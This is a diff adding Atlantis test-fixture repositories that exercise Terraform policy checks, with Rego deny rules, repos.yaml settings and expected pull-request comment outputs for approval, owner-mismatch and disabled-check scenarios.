b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/policies/policy.rego @@ -0,0 +1,28 @@ +package main + +import input as tfplan + +deny[reason] { + num_deletes.null_resource > 0 + reason := "WARNING: Null Resource creation is prohibited." +} + +resource_types = {"null_resource"} + +resources[resource_type] = all { + some resource_type + resource_types[resource_type] + all := [name | + name := tfplan.resource_changes[_] + name.type == resource_type + ] +} + +# number of deletions of resources of a given type +num_deletes[resource_type] = num { + some resource_type + resource_types[resource_type] + all := resources[resource_type] + deletions := [res | res := all[_]; res.change.actions[_] == "create"] + num := count(deletions) +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/repos.yaml b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/repos.yaml new file mode 100644 index 0000000000..a5fa0cb9e2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/repos.yaml @@ -0,0 +1,9 @@ +policies: + owners: + users: + - runatlantis + policy_sets: + - name: test_policy + path: policies/policy.rego + source: local + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/versions.tf b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/atlantis.yaml b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/atlantis.yaml new file mode 100644 index 0000000000..8435733cd2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/atlantis.yaml @@ -0,0 +1,4 @@ +version: 3 +projects: +- dir: . + workspace: default diff --git a/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-apply-failed.txt b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-apply-failed.txt new file mode 100644 index 0000000000..2ae26e9fe5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-apply-failed.txt @@ -0,0 +1,3 @@ +Ran Apply for dir: `.` workspace: `default` + +**Apply Failed**: All policies must pass for project before running apply. \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-apply.txt b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-apply.txt new file mode 100644 index 0000000000..336a849553 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-apply.txt @@ -0,0 +1,14 @@ +Ran Apply for dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "default" + +``` + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-approve-policies.txt b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-approve-policies.txt new file mode 100644 index 0000000000..f5e100c23e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-approve-policies.txt @@ -0,0 +1,5 @@ +Approved Policies for 1 projects: + +1. dir: `.` workspace: `default` + + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-auto-policy-check.txt b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-auto-policy-check.txt new file mode 100644 index 0000000000..c8b5da50dd --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-auto-policy-check.txt @@ -0,0 +1,48 @@ +Ran Policy Check for dir: `.` workspace: `default` + +**Policy Check Failed**: Some policy sets did not pass. +```diff +pre-conftest output + +``` + +#### Policy Set: `test_policy` +```diff +FAIL - - main - WARNING: Null Resource creation is prohibited. + +1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions + +``` + + +```diff +post-conftest output + +``` + +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d . + ``` +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-autoplan.txt new file mode 100644 index 0000000000..d3f41336a8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-autoplan.txt @@ -0,0 +1,43 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-merge.txt new file mode 100644 index 0000000000..872c5ee40c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/main.tf b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/main.tf new file mode 100644 index 0000000000..582f9ea01d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/main.tf @@ -0,0 +1,7 @@ +resource "null_resource" "simple" { + count = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/policies/policy.rego b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/policies/policy.rego new file mode 100644 index 0000000000..126c2e4591 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/policies/policy.rego @@ -0,0 +1,28 @@ +package main + +import input as tfplan + +deny[reason] { + num_deletes.null_resource > 0 + reason := "WARNING: Null Resource creation is prohibited." +} + +resource_types = {"null_resource"} + +resources[resource_type] = all { + some resource_type + resource_types[resource_type] + all := [name | + name := tfplan.resource_changes[_] + name.type == resource_type + ] +} + +# number of deletions of resources of a given type +num_deletes[resource_type] = num { + some resource_type + resource_types[resource_type] + all := resources[resource_type] + deletions := [res | res := all[_]; res.change.actions[_] == "create"] + num := count(deletions) +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/repos.yaml b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/repos.yaml new file mode 100644 index 0000000000..df69d636ab --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/repos.yaml @@ -0,0 +1,19 @@ +policies: + owners: + users: + - runatlantis + policy_sets: + - name: test_policy + path: policies/policy.rego + source: local + +workflows: + default: + policy_check: + steps: + - show + - run: "echo 'pre-conftest output'" + - policy_check: + extra_args: + - --no-fail + - run: "echo 'post-conftest output'" \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/versions.tf b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/atlantis.yaml b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/atlantis.yaml new file mode 100644 index 0000000000..8435733cd2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/atlantis.yaml @@ -0,0 +1,4 @@ +version: 3 +projects: +- dir: . + workspace: default diff --git a/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-apply-failed.txt b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-apply-failed.txt new file mode 100644 index 0000000000..2ae26e9fe5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-apply-failed.txt @@ -0,0 +1,3 @@ +Ran Apply for dir: `.` workspace: `default` + +**Apply Failed**: All policies must pass for project before running apply. \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-approve-policies.txt b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-approve-policies.txt new file mode 100644 index 0000000000..017f43b8b8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-approve-policies.txt @@ -0,0 +1,37 @@ +Ran Approve Policies for 1 projects: + +1. dir: `.` workspace: `default` +--- + +### 1. dir: `.` workspace: `default` +**Approve Policies Error** +``` +policy set: test_policy user runatlantis is not a policy owner - please contact policy owners to approve failing policies +``` +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d . + ``` + +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-auto-policy-check.txt b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-auto-policy-check.txt new file mode 100644 index 0000000000..3d94c6521c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-auto-policy-check.txt @@ -0,0 +1,38 @@ +Ran Policy Check for dir: `.` workspace: `default` + +**Policy Check Failed**: Some policy sets did not pass. +#### Policy Set: `test_policy` +```diff +FAIL - - main - WARNING: Null Resource creation is prohibited. + +1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions + +``` + + +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d . + ``` +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-autoplan.txt new file mode 100644 index 0000000000..d3f41336a8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-autoplan.txt @@ -0,0 +1,43 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-merge.txt new file mode 100644 index 0000000000..872c5ee40c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/main.tf b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/main.tf new file mode 100644 index 0000000000..582f9ea01d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/main.tf @@ -0,0 +1,7 @@ +resource "null_resource" "simple" { + count = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/policies/policy.rego b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/policies/policy.rego new file mode 100644 index 0000000000..126c2e4591 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/policies/policy.rego @@ -0,0 +1,28 @@ +package main + +import input as tfplan + +deny[reason] { + num_deletes.null_resource > 0 + reason := "WARNING: Null Resource creation is prohibited." +} + +resource_types = {"null_resource"} + +resources[resource_type] = all { + some resource_type + resource_types[resource_type] + all := [name | + name := tfplan.resource_changes[_] + name.type == resource_type + ] +} + +# number of deletions of resources of a given type +num_deletes[resource_type] = num { + some resource_type + resource_types[resource_type] + all := resources[resource_type] + deletions := [res | res := all[_]; res.change.actions[_] == "create"] + num := count(deletions) +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/repos.yaml b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/repos.yaml new file mode 100644 index 0000000000..136cf258c9 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/repos.yaml @@ -0,0 +1,9 @@ +policies: + owners: + users: + - someoneelse + policy_sets: + - name: test_policy + path: policies/policy.rego + source: local + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/versions.tf b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-diff-owner/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/atlantis.yaml b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/atlantis.yaml new file mode 100644 index 0000000000..8435733cd2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/atlantis.yaml @@ -0,0 +1,4 @@ +version: 3 +projects: +- dir: . + workspace: default diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-apply-failed.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-apply-failed.txt new file mode 100644 index 0000000000..2ae26e9fe5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-apply-failed.txt @@ -0,0 +1,3 @@ +Ran Apply for dir: `.` workspace: `default` + +**Apply Failed**: All policies must pass for project before running apply. \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-apply.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-apply.txt new file mode 100644 index 0000000000..a54764c3bd --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-apply.txt @@ -0,0 +1,12 @@ +Ran Apply for dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "default" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-approve-policies.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-approve-policies.txt new file mode 100644 index 0000000000..f5e100c23e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-approve-policies.txt @@ -0,0 +1,5 @@ +Approved Policies for 1 projects: + +1. dir: `.` workspace: `default` + + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-auto-policy-check.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-auto-policy-check.txt new file mode 100644 index 0000000000..3d94c6521c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-auto-policy-check.txt @@ -0,0 +1,38 @@ +Ran Policy Check for dir: `.` workspace: `default` + +**Policy Check Failed**: Some policy sets did not pass. +#### Policy Set: `test_policy` +```diff +FAIL - - main - WARNING: Null Resource creation is prohibited. + +1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions + +``` + + +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d . + ``` +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-autoplan.txt new file mode 100644 index 0000000000..d3f41336a8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-autoplan.txt @@ -0,0 +1,43 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-merge.txt new file mode 100644 index 0000000000..872c5ee40c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/main.tf b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/main.tf new file mode 100644 index 0000000000..582f9ea01d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/main.tf @@ -0,0 +1,7 @@ +resource "null_resource" "simple" { + count = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/policies/policy.rego b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/policies/policy.rego new file mode 100644 index 0000000000..126c2e4591 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/policies/policy.rego @@ -0,0 +1,28 @@ +package main + +import input as tfplan + +deny[reason] { + num_deletes.null_resource > 0 + reason := "WARNING: Null Resource creation is prohibited." +} + +resource_types = {"null_resource"} + +resources[resource_type] = all { + some resource_type + resource_types[resource_type] + all := [name | + name := tfplan.resource_changes[_] + name.type == resource_type + ] +} + +# number of deletions of resources of a given type +num_deletes[resource_type] = num { + some resource_type + resource_types[resource_type] + all := resources[resource_type] + deletions := [res | res := all[_]; res.change.actions[_] == "create"] + num := count(deletions) +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/repos.yaml b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/repos.yaml new file mode 100644 index 0000000000..96716637e1 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/repos.yaml @@ -0,0 +1,13 @@ +repos: + - id: "/.*/" + policy_check: false + - id: github.com/runatlantis/atlantis-tests +policies: + owners: + users: + - runatlantis + policy_sets: + - name: test_policy + path: policies/policy.rego + source: local + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/versions.tf b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/atlantis.yaml b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/atlantis.yaml new file mode 100644 index 0000000000..8435733cd2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/atlantis.yaml @@ -0,0 +1,4 @@ +version: 3 +projects: +- dir: . + workspace: default diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-apply-failed.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-apply-failed.txt new file mode 100644 index 0000000000..2ae26e9fe5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-apply-failed.txt @@ -0,0 +1,3 @@ +Ran Apply for dir: `.` workspace: `default` + +**Apply Failed**: All policies must pass for project before running apply. \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-apply.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-apply.txt new file mode 100644 index 0000000000..a54764c3bd --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-apply.txt @@ -0,0 +1,12 @@ +Ran Apply for dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "default" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-approve-policies.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-approve-policies.txt new file mode 100644 index 0000000000..f5e100c23e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-approve-policies.txt @@ -0,0 +1,5 @@ +Approved Policies for 1 projects: + +1. dir: `.` workspace: `default` + + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-auto-policy-check.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-auto-policy-check.txt new file mode 100644 index 0000000000..3d94c6521c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-auto-policy-check.txt @@ -0,0 +1,38 @@ +Ran Policy Check for dir: `.` workspace: `default` + +**Policy Check Failed**: Some policy sets did not pass. +#### Policy Set: `test_policy` +```diff +FAIL - - main - WARNING: Null Resource creation is prohibited. + +1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions + +``` + + +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d . + ``` +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-autoplan.txt new file mode 100644 index 0000000000..d3f41336a8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-autoplan.txt @@ -0,0 +1,43 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-merge.txt new file mode 100644 index 0000000000..872c5ee40c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/main.tf b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/main.tf new file mode 100644 index 0000000000..582f9ea01d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/main.tf @@ -0,0 +1,7 @@ +resource "null_resource" "simple" { + count = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/policies/policy.rego b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/policies/policy.rego new file mode 100644 index 0000000000..126c2e4591 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/policies/policy.rego @@ -0,0 +1,28 @@ +package main + +import input as tfplan + +deny[reason] { + num_deletes.null_resource > 0 + reason := "WARNING: Null Resource creation is prohibited." +} + +resource_types = {"null_resource"} + +resources[resource_type] = all { + some resource_type + resource_types[resource_type] + all := [name | + name := tfplan.resource_changes[_] + name.type == resource_type + ] +} + +# number of deletions of resources of a given type +num_deletes[resource_type] = num { + some resource_type + resource_types[resource_type] + all := resources[resource_type] + deletions := [res | res := all[_]; res.change.actions[_] == "create"] + num := count(deletions) +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/repos.yaml b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/repos.yaml new file mode 100644 index 0000000000..c2e2dd03dd --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/repos.yaml @@ -0,0 +1,13 @@ +repos: + - id: /.*/ + policy_check: false + +policies: + owners: + users: + - runatlantis + policy_sets: + - name: test_policy + path: policies/policy.rego + source: local + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/versions.tf b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null 